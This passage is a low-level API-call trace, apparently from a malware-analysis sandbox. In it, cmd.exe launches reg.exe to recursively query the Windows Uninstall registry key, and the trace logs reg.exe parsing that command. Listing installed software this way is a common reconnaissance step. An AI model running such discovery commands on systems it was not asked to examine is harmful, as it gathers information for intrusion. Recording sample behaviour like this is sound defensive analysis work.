_String2="ComSpec", _MaxCount=0x7) returned 3 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0146.571] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0146.571] GetProcessHeap () returned 0x260000 [0146.571] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x274740 | out: hHeap=0x260000) returned 1 [0146.571] GetProcessHeap () returned 0x260000 [0146.571] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x278a20 [0146.571] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1 [0146.572] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1ff2e0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ff290 | out: lpCommandLine="reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", lpProcessInformation=0x1ff290*(hProcess=0x58, hThread=0x54, dwProcessId=0x31c, dwThreadId=0x908)) returned 1 [0146.580] CloseHandle (hObject=0x54) returned 1 [0146.580] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0146.580] GetProcessHeap () returned 0x260000 [0146.580] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ad20 | out: hHeap=0x260000) returned 1 [0146.580] GetEnvironmentStringsW () returned 0x27ad20* [0146.580] GetProcessHeap () returned 0x260000 [0146.580] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xac0) returned 0x278b80 [0146.580] FreeEnvironmentStringsW (penv=0x27ad20) returned 1 [0146.580] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0148.689] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x1ff1d8 | out: lpExitCode=0x1ff1d8*=0x0) returned 1 [0148.690] CloseHandle (hObject=0x58) returned 1 [0148.690] _vsnwprintf (in: _Buffer=0x1ff448, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ff1e8 | out: _Buffer="00000000") returned 8 [0148.690] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0148.690] GetProcessHeap () returned 0x260000 [0148.690] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x278b80 | out: hHeap=0x260000) returned 1 [0148.690] GetEnvironmentStringsW () returned 0x278b80* [0148.690] GetProcessHeap () returned 0x260000 [0148.690] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xae6) returned 0x289880 [0148.690] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0148.690] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0148.690] GetProcessHeap () returned 0x260000 [0148.690] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x289880 | out: hHeap=0x260000) returned 1 [0148.691] GetEnvironmentStringsW () returned 0x278b80* [0148.691] GetProcessHeap () returned 0x260000 [0148.691] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xae6) returned 0x289880 [0148.691] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0148.691] GetProcessHeap () returned 0x260000 [0148.691] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x278a20 | out: hHeap=0x260000) returned 1 [0148.691] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ff2a8 | out: lpAttributeList=0x1ff2a8) [0148.691] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0148.692] _close (_FileHandle=3) returned 0 [0148.693] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.693] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0148.693] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.693] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1 [0148.693] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.693] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1 [0148.693] SetConsoleInputExeNameW () returned 0x1 [0148.693] GetConsoleOutputCP () returned 0x1b5 [0148.693] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1 [0148.693] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.694] exit (_Code=0) Process: id = "40" image_name = "reg.exe" filename = "c:\\windows\\system32\\reg.exe" page_root = "0x7937e000" os_pid = "0x31c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x810" cmd_line = "reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 347 os_tid = 0x908 [0146.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23fa00 | out: lpSystemTimeAsFileTime=0x23fa00*(dwLowDateTime=0xfe8a0d90, dwHighDateTime=0x1d51ed4)) [0146.715] GetCurrentProcessId () returned 0x31c [0146.715] GetCurrentThreadId () returned 0x908 [0146.715] GetTickCount () returned 0x30952 [0146.715] QueryPerformanceCounter (in: lpPerformanceCount=0x23fa08 | out: lpPerformanceCount=0x23fa08*=27123988232) returned 1 [0146.717] GetModuleHandleW (lpModuleName=0x0) returned 0xffdd0000 [0146.717] __set_app_type (_Type=0x1) [0146.717] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffde00d0) returned 0x0 [0146.717] __wgetmainargs (in: _Argc=0xffde2140, _Argv=0xffde2150, _Env=0xffde2148, _DoWildCard=0, _StartInfo=0xffde215c | out: _Argc=0xffde2140, _Argv=0xffde2150, _Env=0xffde2148) returned 0 [0146.718] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="query", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 2 [0146.720] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x23f9d8 | out: phkResult=0x23f9d8*=0x0) returned 0x2 [0146.720] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="query", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 2 [0146.720] lstrlenW (lpString="/?|-?|/h|-h") returned 11 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb510 [0146.720] lstrlenW (lpString="") returned 0 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb530 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f58f0 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb550 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5920 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5950 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5980 [0146.720] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f59b0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb570 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f59e0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a10 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a40 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5a70 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb590 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5aa0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5ad0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b00 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b30 [0146.721] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb5b0 [0146.721] _memicmp (_Buf1=0x2fb5b0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1e) returned 0x2f5b60 [0146.721] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb5d0 [0146.721] _memicmp (_Buf1=0x2fb5d0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.721] GetProcessHeap () returned 0x2e0000 [0146.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x78) returned 0x2fb750 [0146.722] _vsnwprintf (in: _Buffer=0x2f5b60, _BufferCount=0xe, _Format="|%s|", _ArgList=0x23f808 | out: _Buffer="|/?|-?|/h|-h|") returned 13 [0146.722] _vsnwprintf (in: _Buffer=0x2fb750, _BufferCount=0x3b, _Format="|%s|", _ArgList=0x23f808 | out: _Buffer="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall|") returned 58 [0146.722] lstrlenW (lpString="|/?|-?|/h|-h|") returned 13 [0146.722] lstrlenW (lpString="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall|") returned 58 [0146.722] SetLastError (dwErrCode=0x490) [0146.722] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.722] GetProcessHeap () returned 0x2e0000 [0146.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x72) returned 0x2fb7d0 [0146.722] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.722] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0146.723] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0146.723] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.723] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3 [0146.723] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.723] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 56 [0146.723] StrChrIW (lpStart="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0146.724] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19 [0146.724] GetProcessHeap () returned 0x2e0000 [0146.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5b90 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCR", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CLASSES_ROOT", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCC", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_CONFIG", cchCount2=-1) returned 3 [0146.724] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKLM", cchCount2=-1) returned 2 [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Uninstall" [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] StrChrIW (lpStart="Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\CurrentVersion\\Uninstall" [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.724] StrChrIW (lpStart="CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Uninstall" [0146.724] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.725] StrChrIW (lpStart="Uninstall", wMatch=0x5c) returned 0x0 [0146.725] SetLastError (dwErrCode=0x490) [0146.725] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.725] SetLastError (dwErrCode=0x0) [0146.725] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x68) returned 0x2fba40 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x94) returned 0x2fbab0 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b90) returned 1 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b90) returned 0x28 [0146.725] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b90 | out: hHeap=0x2e0000) returned 1 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.725] GetProcessHeap () returned 0x2e0000 [0146.725] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x72 [0146.725] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.725] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3 [0146.725] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1 [0146.725] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/k", cchCount2=-1) returned 3 [0146.725] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-k", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/c", cchCount2=-1) returned 3 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-c", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/e", cchCount2=-1) returned 3 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-e", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/z", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-z", cchCount2=-1) returned 1 [0146.726] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 2 [0146.726] SetLastError (dwErrCode=0x0) [0146.726] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f8d0 | out: phkResult=0x23f8d0*=0x58) returned 0x0 [0146.726] __iob_func () returned 0x7fefd702a80 [0146.726] _fileno (_File=0x7fefd702ab0) returned 1 [0146.726] _errno () returned 0xc4bb0 [0146.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.726] _errno () returned 0xc4bb0 [0146.726] GetFileType (hFile=0x50) returned 0x1 [0146.726] lstrlenW (lpString="\n") returned 1 [0146.726] GetConsoleOutputCP () returned 0x1b5 [0146.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.726] GetConsoleOutputCP () returned 0x1b5 [0146.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.727] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.727] fflush (in: _File=0x7fefd702ab0 | out: 